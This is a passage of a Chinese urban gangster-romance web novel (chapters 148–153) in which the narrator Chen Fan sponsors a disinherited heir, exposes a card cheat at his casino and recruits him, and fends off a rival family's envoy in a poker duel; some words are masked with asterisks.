她靠在我肩上,轻声说着:“你知道吗?在以为你死掉的日子里,我最遗憾的就是这个,我们还没有一起看过日出,我想过很多次,如果我们一起看日出会是什么样子。我想告诉你,在我心里,你就是我的太阳,在我最黑暗的时候,你出现了,给了我光,给了我希望。”
“所以今天,当太阳升起的时候,我要对你说,不管将来发生什么,不管你要面对多少危险,不管我们能不能永远在一起,至少此刻,我拥有这个瞬间!”
148陈总,我想跟你混!
早上的温度有些冷,我搂住林薇儿的肩膀,把她往怀里带了带。
她就这样依靠在我的怀里,我们并肩而坐,看着太阳一点点的升起来,照亮每一寸土地。
后来,太阳跃升越高,山上的气温也回暖,我和林薇儿收拾好东西,然后驾车离开。
“哥哥……”林薇儿忽然又变成了那个国民妹妹,她眨巴着眼睛看向我,说道:“下次,我们去海边看日出好不好?”
“好。”
“还有沙漠的日出,雪山的日出……我想和你看遍世界上所有的日出。”
“那要很久。”我摸了摸她的头说道。
“没关系。”她转头看我,认真的说道:“我有的是时间,只要你愿意,我有一辈子的时间。”
我微微一笑,两个人的心意彼此心照不宣。
“这个夜晚,很美好,谢谢你给了我这么美好的回忆,在以后的日子里,不管遇到什么困难,只要想起今天,我就会觉得人生还是很美好的。”
“傻丫头!你可真会多愁善感!”
我疼爱的摸了摸她的鼻子,我的车停在了影视城外的酒店,林薇儿今天还有戏要拍,她要赶回去。
因为有了我的出现,我相信剧组的人,不会再有人敢为难林薇儿了。
林薇儿下了车,她回头看着我说道:“你快回去休息吧,还要记得想我!”
“嗯。”我点了点头。
她笑着转身走进了酒店,我看着她的背影,忽然觉得,年轻真好,直到她的身影消失,我才发动车子离开。
送走林薇儿后,我直接开车去找白起,因为还有一个人,我还没有见,那个人就是赵坤!
当初赵刚被司徒鸣给弄**,赵坤被赶出了赵家,他打电话想要见我,现在,我可以抽空去看看他。
我来到周叶青的办公室,然后点了点头道:“周总这么早就来上班?”
“这都快十点了,还早么?”
周叶青笑着看向我,然后调侃道:“昨晚和谁过夜的?”
“林薇儿……”
我没有丝毫隐瞒她的意思。
周叶青笑了笑,露出一个意味深长的笑容。
“赵坤在哪?我现在想见见他。”
周叶青指了指白起,道:“让你白大哥带你去。”
白起点了点头,然后带着我去见赵坤。
周叶青不愧是做事谨慎,为了防止赵坤被人杀害,她特意将赵坤藏在了一个秘密仓库。
白起架车,带着我来到这里,然后对我说道:“他就在里面,从来到这里,他就一直吵着要见你!”
“辛苦白大哥了!”
对于这样一位古武者,我面对他的时候唯有尊敬两个字!
我们推开里面的房门,房间不算大,里面有床有电视,赵坤就躺在床上,他身上盖着被子,头发凌乱,听到开门声他,他蹭的一下,从床上弹了起来。
“陈……陈总!”他几乎是扑到床边的,声音嘶哑,对我说道:“你终于来了!秦昊没对你怎么样吧?我说的是真的,我没有骗你!”
“秦昊**。”我打断他的话,声音平静地宣布。
赵坤的表情瞬间凝固,嘴巴半张着,他好像没反应过来,过了几秒,他忽然变得激动起来!
“死……**?真的**?**的?谁干的?”他一连串地问,声音因为激动而变调。
我没有回答他的问题,拉过那把椅子坐下,白起则无声地退到门外,关上了门,留下我和赵坤独处。
“**的,不重要,重要的是,你父亲间接的仇,有人替你报了。”
“报了……仇报了……”
“爸……你听到了吗?那个逼死你的混蛋……他**……”
赵坤喃喃自语,他的眼眶通红,眼泪止不住的掉下来。
我看着他,没有说话,只是抽烟。
赵坤这种云城极品富二代,一下子跌落神坛,这其中的滋味只有他自己知道,没有了赵刚的庇护,他不在是那个嚣张的纨绔子弟。
他现在什么都没有了,我没有打扰他,只是让他哭个够!
大约过了五分钟,赵坤的哭声渐渐停歇。
他用手胡乱的抹了抹脸,然后爱妻头,眼睛红肿的看着我,在他的眼神里,我看到了一种破而后立的狠劲儿!或
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者说是一种野心!
“陈总,谢谢你告诉我这个消息,也谢谢你救了我!”
“我救你,是因为你还有用。”我直言不讳,没有虚伪的客套。
赵坤愣了一下,随即苦笑:“是,我知道,我现在就是个丧家之犬,除了这点知道的内幕,我一无是处。”
“陈总,赵家我回不去了!”
“哦?”我微微挑眉,“怎么说?”
“我跑出来之后,试着联系过家里几个老人,他们告诉我,我二叔赵强,也就是我爸的亲弟弟,在我爸去世后,第一时间联合了几个堂叔和元老,罢免了我继承人的位置,他自己暂代家主,现在整个赵家,都是他的人,我回去……就是自投罗网,我二叔那个人,表面和气,心肠比秦昊也差不了多少。”
“墙倒众人推,树倒猢狲散!”我抽了一口烟说道。
“所以,陈总,我想跟你!请你收下我!”
“跟我?”我笑了笑道:“赵坤,你觉得你现在有什么资本跟我?”
“我知道我现在什么都没有!但是我有恨!我恨逼死我爸的人,我恨赵家落井下石的人,我虽然被赶出来了,但赵家内部的消息,没有人比我更清楚!”
“陈总,你现在是上城的新贵,周叶青和你合作,你绝对有能力!”
“陈总,请你扶持我,帮我夺回赵家,到时候,我就是你养的一条狗!”
赵坤越说越激动,他的脸被涨的通红,他虽然话说的粗糙了点,但道理摆在那里,赵坤如果能被扶持起来,他确实比较好掌控。
但是扶持赵坤,就无异于现在和赵家为敌。
这个风险还是很大的。
秦昊虽然**,可司徒鸣和司徒宇呢?
谁知道他们爷们两个人去了哪里!
司徒一家绝对还是巨大的隐患!
“陈总,我知道我以前是个混蛋,没脑子,到处惹事。但我爸的死,还有这几天的逃亡,让我想明白了!在这个**的地方,要么变强,要么死!我想活,我想把我爸的东西拿回来!只要你肯帮我,我什么都听你的!你让我往东,我绝不往西!”
149出老千?
我看着在我面前,着急表忠心的赵坤,他眼神急切,神态卑微。
曾经在我面前嚣张跋扈的公子哥,此刻竟苦苦哀求我。
我并没有马上答应他,但也没有拒绝。
我要评估一下云城的利益,我也要评估一下赵家能给我带来什么好处。
赵坤又不是我的兄弟,除非利益足够多,否则我不会让自己涉身险地。
“赵家现在的情况,具体说说。”我换了个问题。
赵坤精神一振,他知道这是个机会,于是马上向我介绍起来。
“陈总,我二叔赵强,主要掌控家族的矿产和物流生意,他这个人谨慎,但也贪心,他有两个儿子,都在国外读书,暂时威胁不大,几个堂叔里,三叔赵盛管着几家夜总会和**,手底下养了一批打手,势力主要在城北,四叔赵明没什么实权,但管着家族的财务,是个老狐狸……”
赵坤就像是报菜名一样,把赵家的情况一一告诉了我,甚至连一些上不了台面的事情,也都说了出来,看来他是真的想跟我混。
“现在赵强将我赶了出来,可家族内部也不完全都听他的,我三叔四叔只是暂时不敢乱来而已,只要有外力介入,在稍微挑拨一下,他们自己就能乱起来。”
赵坤的分析,虽然粗糙,但大方向没错,赵家现在正处于权力真空后的脆弱平衡期,确实是最容易从内部攻破的时候。
“你想我怎么帮你?”我问道。
“钱,陈总,我需要钱用钱招揽一些还能为我所用的人,打点关系。”赵坤向我要钱。
“就这些么?”我冷冷的问道。
如果赵坤只是向我要钱,我大可不必理会他,用钱能解决云城,我用谁都行,我让周大伟,我让刘飞都可以来。
“我需要一个机会,一个能让我在赵家人面前,重新立起来的机会!一个能证明我比你二叔他们更有能力带领赵家的机会!”
“我是赵家人,赵家就算再怎么内斗,都是自己家的事情,绝对不会让外姓人染指的!”
赵坤这句话,算是说到点子上了,像这种家族,都是认血缘关系的。
我决定可以先扶持赵坤试一试。
于是我说道:“机会我可以给你,资金我也可以给你提供,但是赵坤,你要记住几件事!”
“您说!”赵坤挺直了身体。
“第一,这是你夺回赵家的战争,我只是提供有限的帮助,我不会直接出面与赵家为敌,所有事情,必须由你自己去做,后果也由你自己承担。”
赵坤用力点头:“明白!”
“第二,我给你的每一分钱,都要有明确的去向和回报,如果你敢中饱私囊,或者把事情搞砸了,你知道下场会是什么!”
我没有说下去,但我眼神里的寒意,足以让赵坤打了个哆嗦。
“不敢!绝对不敢!”赵坤连忙白手道。
“第三,也是最重要的一点。”我站起身,俯视着他,“如果你成功了,拿回了赵家那么赵家,必须完全服从我的安排,在重大决策上,没有我的允许,不得擅自行动,换句话说,赵家未来如何走,我说了算。”
我说的这三个条件,无异于把赵坤架空了,他变成了我的附属品。
赵坤的脸色变了变,他在犹豫,在挣扎,但很快,他就拿定了主意。
“好!”赵坤重重的点了点头,然后对我说道:“陈总,你说的每个条件,我都答应,只要你能帮我把赵家拿回来,以后赵家,唯陈总马首是瞻!”
“口说无凭。”我淡淡道,“我会让人准备一份协议,等你拿回赵家,我们再正式签署,另外,这段时间,你就待在这里,哪里也不要去,需要你做什么,我会让人通知你。”
“是!谢谢陈总!谢谢陈总!”赵坤连连道谢,脸上终于露出了如释重负的神情。
我没有再说什么,转身走向门口。
“陈总!”赵坤在我身后叫住我,声音有些犹豫,最后还是问道:“秦昊到底是**的?还有,夏小姐……她还好吗?”
我没有回头,只是停顿了一下。
“这些,不是你该问的,管好你自己的事。”
赵坤呆立在原地,他没有想到我会这样的决绝。
说完,我拉开门就走了出去,白起看到我出来,朝我点头示意。
我们两个人坐上车,白起问道:“陈老弟,你真打算扶持赵坤?他可是个不学无术的纨绔子弟。”
我懂得白起的担忧,赵坤确实一事无成,可我也相信人都是有潜力的,赵坤经历过家破人亡,他如果在没点改变,他就真成了一个废物了!
“废物,有废物的用法。”我笑着说道:“赵家现在就是群龙无首,我们需要一个名正言顺的人去掌握赵家,赵坤,就是最好用的棋子,他不需要有太大的能力,只要他能把赵家给搅乱就行。”
“至于他成功后会不会反水,那也要看
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他有没有那个命和胆子。”我冷冷的说道。
白起听了我的话,不在说话,而是继续开车。
我们直奔周叶青的办公室而去,现在的上城,看似平静,其实暗流涌动,随着司徒鸣父子的失踪,很快,上城就要展开一轮新的竞争。
半小时后,周叶青的办公室。
我坐在办公室沙发上,周叶青坐在我的对面,她拿了一份刚打印出来的资料给我。
“司徒鸣和司徒宇同时失踪,司徒家的私人飞机记录显示,他们最后飞往的是境外,飞机落地后便失去踪迹,司徒家对外宣称是‘紧急商业考察’,但根据我们在那边的眼线汇报,没有查到他们的任何公开行程。”
我翻看着资料,上面是航班信息、出入境记录,以及几张模糊的监控截图。
司徒鸣的身影在其中一张机场照片里清晰可见,他穿着一身深色西装,戴着墨镜,步伐匆匆,司徒宇坐着轮椅,被人推上了飞机。
“那也就是说,他们不是被**?还是说他们被人控制了?”
周叶青端起咖啡杯,说道:“两种情况都有可能,如果是自己逃,说明司徒鸣预感到了极大的危险,如果是被安排……那说明司徒家内部有比司徒鸣更强大的力量,能让他们父子‘自愿’消失。”
“司徒飞。”我吐出这个名字。
“对,司徒鸣的亲弟弟,一直负责司徒家海外产业的人。”周叶青的眼神变得锐利,道:“他在司徒鸣父子失踪后第一时间飞回国内,昨天已经召开了家族紧急会议,以‘代理家主’身份接管了所有事务。动作快得惊人,就像……早就准备好了。”
“内斗。”我得出结论道:“司徒家这场内斗,可能比我们想象中开始得更早,秦昊的死,或许只是个**。”
“不管是什么,对我们来说都是机会。”周叶青放下咖啡杯,道:“司徒飞刚刚上位,需要巩固权力,短时间内应该不会对我们采取太激进的行动,但城西的产业,他一直很眼红,以前就多次想插手,都被司徒鸣压下来了,现在……难说。”
她的话音刚落,我的手机就震动起来。
我看了一眼来电,是肥膘打来的。
“陈总!不好了!”刘经理的声音在电话那头又急又慌,道:“赌场来了个硬点子,已经连赢三天了,今天上午又来了,不到两小时,赢走了两百多万!我们的人……抓不到他出千的证据!”
150出老千的年轻人!
城西的赌场,竟然有人出老千?
于是我立即问道:“人在哪?”
“人在赌桌上,我已经快压不住了,场子里面的客人都在围观,再这样下去,咱们的名声就完了!”
“老刘,你现在控制住场面,我马上到。”我挂断电话,看向周叶青,说道:“赌场那边出了点状况,我得去处理一下。”
周叶青挑了挑眉,问道:“需要帮忙吗?”
“暂时不用。”我站起身,然后说道:“周总,司徒飞那边,你继续盯着,如果有任何异动,请随时通知我。”
周叶青点了点头,说道:“好,白起,你跟着去看看。”
周叶青再一次让白起跟着我去赌场,她都将私人保镖派给我了,可见这女人还是挺讲义气的。
白起开车非常干脆迅猛,不到二十分钟,我们就来到了城西的赌场,赌场现在是我做主,因为九叔他们早就被我赶走了。
我和白起一起进入了赌场,赌场的服务人员纷纷向我们点头。
我推开围观的人群走过去,刘经理面色铁青的盯着台面,在赌桌旁,坐着一个年轻人。
赌桌旁,坐着一个年轻人。
他看起来不超过二十五岁,穿着一件普通的黑色连帽衫,牛仔裤,运动鞋,头发有些凌乱,脸颊消瘦,但五官清秀。
他面前的筹码堆得像小山一样,目测超过五百万。
即便荷官是个经验丰富的老手,但此刻额头上却布满冷汗,发牌的手都有些微微颤抖。
年轻人刚下了一注,十万,押闲,荷官发牌,闲家8点,庄家5点,闲赢。
周围响起一片惊呼,荷官脸色惨白,又推了一摞筹码过去。
年轻人没有去看新赢来的筹码,反而抬起头,目光穿过人群,准确地落在了我身上。
年轻人嘴角勾起一个玩味的笑容,道:“继续。”
“等等。”我开口,声音不大,但在突然安静下来的赌场大厅里,清晰可闻。
所有人都看向我,刘经理如释重负,他连忙迎上来恭敬道:“陈总!”
我没有理会他们,径直走到赌桌旁,在年轻人对面坐下。
“小兄弟,手气不错啊!”我看着他说道。
年轻人耸耸肩:“还行,主要是你们这儿的荷官,发牌节奏很稳,我喜欢。”
这话听起来是夸奖,实则他在暗示自己赢钱靠的是技术,而不是运气。
“连续三天,每天赢走两百万以上,这种运气,不太常见。”我缓缓开口说道。
“或许是我今天该发财呢?”年轻人笑了,他一脸的自信。
“或许。”我也笑了笑,道:“介意我看看监控吗?学习学习高手的技巧。”
年轻人的眼神微微闪动了一下,但笑容不变:“请便。”
我示意刘经理,刘经理立刻去那监控视频。
几分钟后,刘经理拿着一个平板电脑回来,递给我,屏幕上分割成多个画面,是过去三天这个年轻人在赌场各个角度的监控录像。
我快速的浏览着画面,在视频里,年轻人的手法快的惊人,以我的眼力,这些手法瞒不到我,甚至我还捕捉到了一些异常。
这个人,他是在下大注的时候,手指总会有一些极其细微的小动作,有时是触碰桌沿,有时是调整袖口,有时甚至只是轻轻敲击筹码。
这些动作太隐蔽,太自然,如果不是有心慢放逐帧查看,根本发现不了。
但只要仔细观察,就会看出规律,果然,我发现他在做这些小动作后,这把就必胜!
“你的手法很漂亮,是专门训练过的?”我向年轻人问道。
年轻人的笑容淡了一些,但眼神里的兴趣反而更浓了:“看来陈总也是懂行的人。”
“略懂一点,不过在我的场子里,是不允许你投机取巧的!”
我的话刚说完,赌场里的氛围就骤然下降,周围的客人发觉不对劲,开始纷纷向后退去,刘经理使了个眼色,几个保安围了上来。
年轻人环顾四周,脸上没有丝毫惧色,反而叹了口气:“真没意思,我以为上城最大的场子,能有点像样的对手,结果赢点钱就要掀桌子?”
“赢钱可以。”我站起身,警告道:“但是出千,不行,这是规矩。”
“证据呢?”年轻人也站起来,双手**口袋不屑的说道。
我拿起平板,点开
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一段慢放录像,投屏到赌场侧面的大屏幕上,画面被放慢到四分之一速,清楚地显示在他下注前的一刹那,左手小指极其轻微地弹了一下桌沿,几乎同时,他右手袖口里滑出一张薄如蝉翼的卡片,在他收回手时又消失不见。
“袖里乾坤,配合桌下的感应装置?”我看着他,质问道:“这种老千设备,五年前就不流行了,你用的倒是娴熟。”
大厅里一片哗然,客人们指着屏幕议论纷纷,看向年轻人的眼神充满了鄙夷和愤怒,在老千手里输钱,是赌客最痛恨的事。
年轻人的脸色终于变了,他盯着屏幕看了几秒,然后看向我,眼神复杂的问道:“你什么时候发现的?”
“就在刚刚,你背后是什么人?”我平静问道。
“就我一个人。”年轻人说,语气里带着一丝自嘲,道:“看来是我太小看你了,陈凡。”
他知道我的名字。
“带下去。”我对刘经理说道。
年轻人忽然回头看我一眼,对我说道:“你场子里的荷官,也有问题,左边第二个发牌机,被动过手脚,不然光靠我,赢不了这么多。”
我眼神一凝。
年轻人被带走后,赌场大厅很快恢复了秩序,刘经理马上带人去检查发牌机器。
几分钟后,刘经理拿着一个微型电子装置走过来,脸色铁青道:“陈总,确实被动过手脚,能远程控制发牌结果。”
“谁负责这台机器?”我问。
“是……老张。”刘经理的声音有些发虚,道:“他在咱们这儿干了七八年了,一直很老实的。”
“带他来见我。”我打断他。
老张是个五十多岁的老荷官,被带到单独的房间时,浑身都在发抖。
没等我问,他就扑通一声跪下了,哭着说道:“陈总!我……我是被逼的!他们抓了我女儿!说如果我不配合,就……就……”
“谁逼你的?”我的声音冷得像冰。
“我不知道!真的不知道!”老张哭得满脸道:“他们就给我打电话,让我在发牌机上装那个东西,说事成之后给我五十万,放了我女儿……我女儿才十七岁啊陈总!”
151降服老千!
听了男人的话,白起立刻拿起了手机,他马上调出了男人的通话记录和转账记录,老张最近三天,确实收到了一笔五十万的匿名转账!
“是司徒家的人?”白起看向我说:“现在秦昊**,你在上城唯一的敌人,就是司徒家了。”
“也不一定。”我想起刚才年轻人说的话,道:“也可能有人想一石二鸟。”
我让刘经理先把老张控制起来,然后我和白起一起去了那个关押年轻男人的房间。
这个房间是保安室专门留出来对付出老千使用的,房间在赌场的最深处,隔音效果非常好。
年轻男人被铐在椅子上,姿态很是放松,他看到我进来,一点都不害怕,反而笑了笑说:“陈凡你问出什么了?”
“荷官承认了。”我在他对面坐下,道:“他说有人用他女儿威胁他。”
年轻人点点头,似乎并不意外。
“这是典型的栽赃手法,先让我赢钱,引出你,再让你发现荷官有问题,如果你够冲动,可能会直接认定是司徒家干的,然后采取报复行动。”年轻男人说道。
“那你呢?”我看着他,质问道:“你在这局棋里,扮演什么角色?”
“我?我是个自由职业者,有人出高价,让我来你的场子赢钱,赢多少都归我。”
“谁雇的你?”
“不知道。”年轻人坦然说道:“中间人联系的,钱也是通过加密货币支付,不过,雇我的人对你很了解,他知道你懂得千术,也知道你会亲自来查,也知道你现在最忌惮司徒家。”年轻男人说道。
“这些是雇主告诉你的?”我问道。
年轻男人摇了摇头说道:“不算是,都是我从他说和我说话间听出来的,听话听音,这点我听不出来的话,我还出来混什么江湖啊!”
说着,年轻男人还特意笑了笑。
我看着他,内心却在分析这个人,他年纪不大,可太过于冷静和聪明,但我的直觉告诉我,他说的很有可能是真的。
“你叫什么名字?”我问。
“叶轻尘。”年轻男人随口一说道。
“叶轻尘。”我重复了一遍这个名字,然后直接说道:“你现在有两个选择,第一,我把你交给治安署,罪名就是出千,**,数额特别巨大,够你在里面待上十年八年。”
叶轻尘挑了挑眉,显然对这个条件不满意,于是问道:“第二呢?”
“第二,你为我工作,把你会的,教给我的人,同时,帮我找出雇你的人,以及那个荷官背后真正的指使者。”
叶轻尘这件事我必须要处理好,不但要给赌场一个交代,我还要给顾客一个交代,我陈凡刚接手赌场,就来了老千,这传出去,生意还做不做?
上城的人,该怎么看我?说我办事能力不行?
叶轻尘笑了,他问我:“陈总,你不怕我反水?”
“怕,但我觉得,你更感兴趣的不是钱,而是喜欢有挑战的事情,跟着我,你将会遇到很多挑战极限的事情,怎么样,有没有兴趣?”
像叶轻尘这样的人,根本不是寻常人的想法,他能出老千铤而走险,就说明他早就将生死置之度外了。
听了我的提议,叶轻尘思考了一会儿,然后抬起头对我说道:“陈总,你的提议我接受,不过,我想要先见见我妹妹,她生病了,需要钱做手术,这也是我来接你这个活的原因!”
“地址给我,手术费我来处理。”我说道。
叶轻尘报出一个医院的名字和病房号,我让刘经理立刻出去安排。
“解开他的**!”
保安上去解开了**。
叶轻尘晃动了一下肩膀,活动了一下手腕,道:“陈总,你不怕我现在跑了?”
“你可以试试。”我平静的说道:“但我猜,你不会,因为你知道,跟着我,你能得到的不只是钱。”
叶轻尘深深看了我一眼,最终点了点头。
“好,陈总,从现在起,我是你的人了。”
离开房间时,白起低声问我道:“陈老弟,这个人可信?”
“暂时不可信,但他很有用,我会让人盯紧他,也查清楚他所有的底细,另外,老张的女儿,一定要找到,安全的带回来,白大哥,这个事,你帮帮我,你在上城人脉比我熟悉。”
老张的女儿被人**,如果能找到,那就很有很能顺藤摸瓜,找出背后之人,这是个机会,不能放弃。
“没问题。”白起拍了拍我的肩膀说道。
我刚收下了叶轻尘,我当然要测试一下他的能力,我虽然答应给他付妹妹的手术费,可我也不是大冤种,你无法为我提供利益,我也不会白白付出我的金钱。
叶轻尘站在赌场的VIP包房里,他正在检查一副全新的扑克牌,他手指灵活的洗牌,切牌,动作行云流水,仿佛天
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生的老千。
“紧张吗?”我坐在沙发上问道。
叶轻尘将扑克牌在桌面上摊成一个完美的扇形,抬头笑了笑,道:“不紧张,干我们这行的,一旦紧张,就露馅了!”
“你妹妹的手术费,我已让人交上了,手术安排在三天后进行,你可以放心的展示你的技术了。”
“谢谢,我会证明我的价值。”叶轻尘说道。
就在这时候,外面的门被推开。
刘经理走了进来,脸色有些慌张道:“陈总,外面来了几个人,是司徒飞的手下,为首的叫孟庆,他们好像来者不善。”
司徒飞,这么快就找上门了?
看来周叶青说的一点都没错,不过,兵来将挡水来土掩,我正好可以借用这个机会,来试探一下,叶轻尘是不是司徒飞派来的。
“带他们过来。”我说道。
“好的,陈总。”
叶轻尘看后,就收拾了一下牌桌,然后就转身离开。
“叶轻尘,你留下。”我说道。
“好。”
叶轻尘也不多问,然后就站在牌桌前。
几分钟后,包厢的门再一次被推开,这次走进来五个人。
为首的是个中年男人,大概四十多岁,穿着奢华的西装,带着金丝眼镜,一看就是个商场老油条,这个人应该就是孟庆。
在孟庆的身后,跟着四个保镖。
“陈总,久仰。”孟庆走上前,主动伸出手,笑容得体道:“我是孟庆,代表司徒飞先生,来和陈总谈谈。”
我和他握了握手说到:“孟先生客气了,请坐。”
“司徒先生听说,陈总手下新收了一位千术高手,三天赢走了场子里七百万。”孟庆开门见山,目光扫过站在赌桌旁的叶轻尘,说道:“年轻人,手气不错啊。”
叶轻尘微微躬身:“运气好而已。”
“是吗?”孟庆笑了,笑容里带着一丝玩味道:“司徒先生对真正的技术人才一向很欣赏,他让我带个话,如果这位小兄弟有兴趣,司徒家可以开出比陈总更优厚的条件。”
这是当着我的面挖人。
我端起桌上的茶杯,吹了吹热气道:“孟先生今天来,就是为了说这个?”
“当然不是。”孟庆收敛笑容,身体前倾,说:“陈总,明人不说暗话,城西这片地方,以前一直是各家平衡,但现在司徒先生觉得,这种平衡……该变一变了。”
152千术VS千术!
“怎么变?”我冷眼问道。
“司徒先生希望,金鼎和另外两家赌场,还有那五家夜总会的管理权,能交还给更合适的人,当然,陈总这段时间的辛苦,司徒先生不会忘记,会有一笔可观的补偿金,足够陈总在别处另起炉灶。”
司徒飞这是打算来强收我的产业来了。
我放下茶杯,看向孟庆问道:“如果我说不呢?”
“陈总,识时务者为俊杰,司徒家在上城的能量,你应该清楚,司徒先生刚刚接手家族事务,需要一些成绩来站稳脚跟,城西,就是他选中的第一块试金石。”
“陈总大家出来做生意,最重要的是和气生财,如果真要撕破脸,周家能护你一时,护不了你一世。”
孟庆的话说的够直接,也够不客气,他今天就是来给我下马威来了。
包房里气氛顿时降到冰点,白起的脸上露出不悦的神情,他的手指稍微动了一下,孟庆身后的四个人就瞬间绷紧了身体。
我沉默了几秒,然后忽然笑了。
“孟先生说得对,和气生财,这样吧,既然你今天来了,我们玩个小游戏。”
“哦?”孟庆挑了挑眉。
我指了指叶轻尘,道:“这位叶兄弟,你们都说他是千术高手,那就让他和你们的人玩一局,如果他赢了,城西的事情,我们慢慢谈,如果他输了……”
我顿了顿,看向孟庆道:“金鼎的管理权,我可以考虑让出一部分。”
孟庆的眼睛亮了,显然,他对自己带来的人很有信心。
“陈总爽快。”他指了指手下,说道:“阿鬼,你来。”
他身后走出一个三十岁左右,眼神阴郁的男人。
这人手指修长,骨节分明,右手虎口处有一道陈年疤痕,一看就是赌场老手。
“阿鬼跟了司徒先生十年,对付一般的老千,绰绰有余。”孟庆一脸胸有成竹的说道。
叶轻尘和阿鬼在赌桌两端坐下,刘经理亲自担任荷官,他拿出一副全新的扑克,在双方监督下拆封、洗牌。
“玩什么?”叶轻尘问。
“简单点,**。”阿鬼开口,声音沙哑,道:“一局定胜负,底注十万,上不封顶。”
“好。”叶轻尘点头。
赌局开始!
刘经理开始发牌,每人两张底牌,叶轻尘拿起牌看了一眼,表情没有任何变化,阿鬼也同样冷静。
第一轮下注,叶轻尘扔出二十万筹码,阿鬼跟上,并加注到五十万。
叶轻尘没有犹豫,跟注。
刘经理发出三张公共牌:红桃K,黑桃10,方块7。
第二轮下注,阿鬼看了看公共牌,直接推出一百万筹码。
围观的人都屏住了呼吸,这才第二轮,赌注已经到了一百五十万。
叶轻尘的手指在筹码上轻轻敲击着,这是他在思考时的习惯动作,几秒钟后,他同样推出一百万筹码:“跟。”
刘经理发出第四张公共牌:梅花J。
牌面现在变成:红桃K,黑桃10,方块7,梅花J。
阿鬼的眼神微微闪烁了一下,我看出来了这张J对他很有利,他手中有一张黑桃J,加上公共牌里的黑桃10,他已经有了同花顺的可能。
他再次下注,这次是两百万。
叶轻尘沉默的时间比上次更长,他盯着牌面,又看了看自己手中的底牌,然后抬头看了阿鬼一眼,那眼神很平静,但不知为何,阿鬼的眉头几不可察地皱了一下。
“跟。”叶轻尘再次推筹码,声音平稳。
最后一轮,刘经理发出第五张公共牌:方块K。
最终的公共牌是:红桃K、黑桃10、方块7、梅花J、方块K。
牌面有一对K。
阿鬼看着最后这张K,嘴角一笑,他手中的牌是黑桃J和黑桃Q,现在他的牌面有顺子的可能,也有同花的可能。
而叶轻尘,阿鬼回忆着之前几轮的下注模式和叶轻尘的表情,判断他手中很可能有一张K,凑成三条K,或者有一对,凑成两对,无论如何,都比不上自己的牌。
“五百万。”阿鬼将面前剩余的筹码全部推了出去,眼神挑衅地看着叶轻尘,说:“Showhand。”
梭哈!全场瞬间安静!
叶轻尘面前剩下的筹码大约四百万,如果他跟注,就必须加注,如果他弃牌,就输掉之前投入的三百五十万。
孟庆的脸上已经露出了胜利的笑容,他带来的另外三人也放松了身体,仿佛结果已定。
叶轻尘看着那堆筹码,又看了看自己手中的底牌,然后,他做出了一个让所有人都意外的动作!
他拿起底牌,直接翻开了。
一张红桃A。
一张方块2。
什么?!
阿鬼的脸色瞬间变了,红桃A和方块2?这手牌烂得不能再烂!没有对子,没有同花可能,唯一的希望是顺子,但公共牌里根本没有A或2可以凑成顺子!
叶轻尘最大的牌就是公共牌里的一对K!
“你……”阿鬼几乎是从牙缝里挤出这个字。
“我弃牌。”叶轻尘说我,将
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牌扔到牌堆里。
他输掉了三百五十万,但他掀开底牌的举动,让阿鬼的牌失去了意义,因为按照规则,当一方掀开底牌时,另一方也必须掀牌才能赢取底池。
而阿鬼的牌,一旦掀开,所有人都能看到他手里的黑桃J和黑桃Q,会立刻意识到他之前的下注有多么不合理,在第三张公共牌是方块7的情况下,他凭什么在第四张J出来时下重注?除非他早就知道自己手里有J。
这就说明,他出千了!
阿鬼僵在那里,掀牌也不是,不掀也不是,如果掀牌,等于承认自己可能出千,如果不掀牌,这局就算他自动弃牌,赢不了钱。
孟庆的脸色铁青,他没想到叶轻尘会用这种方式破局,他宁可输掉三百五十万,也要把阿鬼逼到死角。
“精彩,叶兄弟这手弃牌,漂亮。”
“孟先生,看来这局没有赢家,你的手下似乎不太愿意开牌?”
我看着孟庆,示意让阿鬼开牌。
孟庆深吸一口气,强压下怒火说:“陈总好手段。”
“彼此彼此。”我站起身,说:“那么,城西的事情,就像我刚才说的慢慢谈,孟先生可以回去转告司徒先生,我陈凡做事,一向讲究规矩,如果司徒先生想谈,我随时欢迎,但如果想用强……”
我看着孟庆,一字一句地说:“我奉陪到底。”
孟庆死死盯着我,几秒钟后,忽然笑了,只是那笑容冷得像冰道:“陈总的话,我一定带到,我们走。”
他带着阿鬼和另外三人转身离开,包间的门关上后,气氛才稍稍缓和。
“你怎么知道他会出千?”我看向叶轻尘问道。
“他在出千的时候,手上会有习惯性的小动作,阿鬼在第四张J出来时,右手小指微微弯曲了零点一秒,那是他袖中藏牌的信号,我知道他手里一定有J,甚至可能还有Q,所以无论我跟不跟注,他都会赢。”
“所以你选择掀牌,逼他暴露?”
“对,三百五十万,买他不敢开牌,也买孟庆不敢当场翻脸,如果他承认手下出千,今天他们就来错地方了。”
我点点头,叶轻尘不仅懂千术,更懂人心和局势,这一局,他输的是钱,赢的是势。
“刘经理,从今天起叶轻尘就是咱们的安全顾问,赌场所有荷官和设备,都要经过他的检查,另外,他妹妹手术期间,安排人二十四小时保护。”
“是。”刘经理回答道。
叶轻尘看着我,眼神复杂:“陈总,你就这么信任我?”
153司徒晴的改变!
我冷笑一声,道:“叶轻尘,我不是信任你,我是给你一个机会,来证明自己值得信任,今天这个局,我看到了你的能力,接下来,我要看到你的忠诚!”
我走到窗边,看着楼下孟庆一行人乘车离开,他们的车子驶入公路,很快就消失在街角。
我转过身,看着叶轻尘提醒说:“司徒飞不会善罢甘休的,我有赌场,他也有,他既然看上了你,就会想尽办法挖走你,接下来他可能会对你出更多的招数,你准备好应对了吗?”
叶轻尘挺直身体,认真的对我说道:“我准备好了,陈总!”
我点了点头,这时候,我的手机响起来,是周叶青打来的。
“陈凡,司徒飞那边有新动作。”她的声音从听筒里传来,道:“他刚刚联系了秦家。”
司徒飞竟然去联系秦家,他是不知道我和秦悦是什么关系么?他的这个举动是真的好笑啊!
“秦家什么反应?”我问。
“秦悦拒绝了见面。”周叶青说,“但司徒飞转向了秦家的几个元老,而且,我收到消息,司徒飞在暗中接触赵家。”
赵家?赵强?
我的眼神冷了下来,司徒飞这是要联合所有可能的力量,一举压垮我的所有布局,这个男人,真够狠辣的。
“知道了。”
秦悦我不担心,我担心的是秦家,毕竟秦悦这个家主现在还没有坐稳,我不得不防着那几个秦家的元老。
“看来我得见一见秦家的人了。”
“你想拉拢秦家的元老?”周叶青有些意外。
“不是拉拢,是确认他们的立场,如果他们愿意跟着秦悦,我可以容忍,可如果他们不愿意帮着秦悦,反而和司徒飞合作,那我只能兵行险着了!”
“还有一件事。”周叶青顿了顿,说道:“司徒晴想见你……”
“好,我会去见她。”
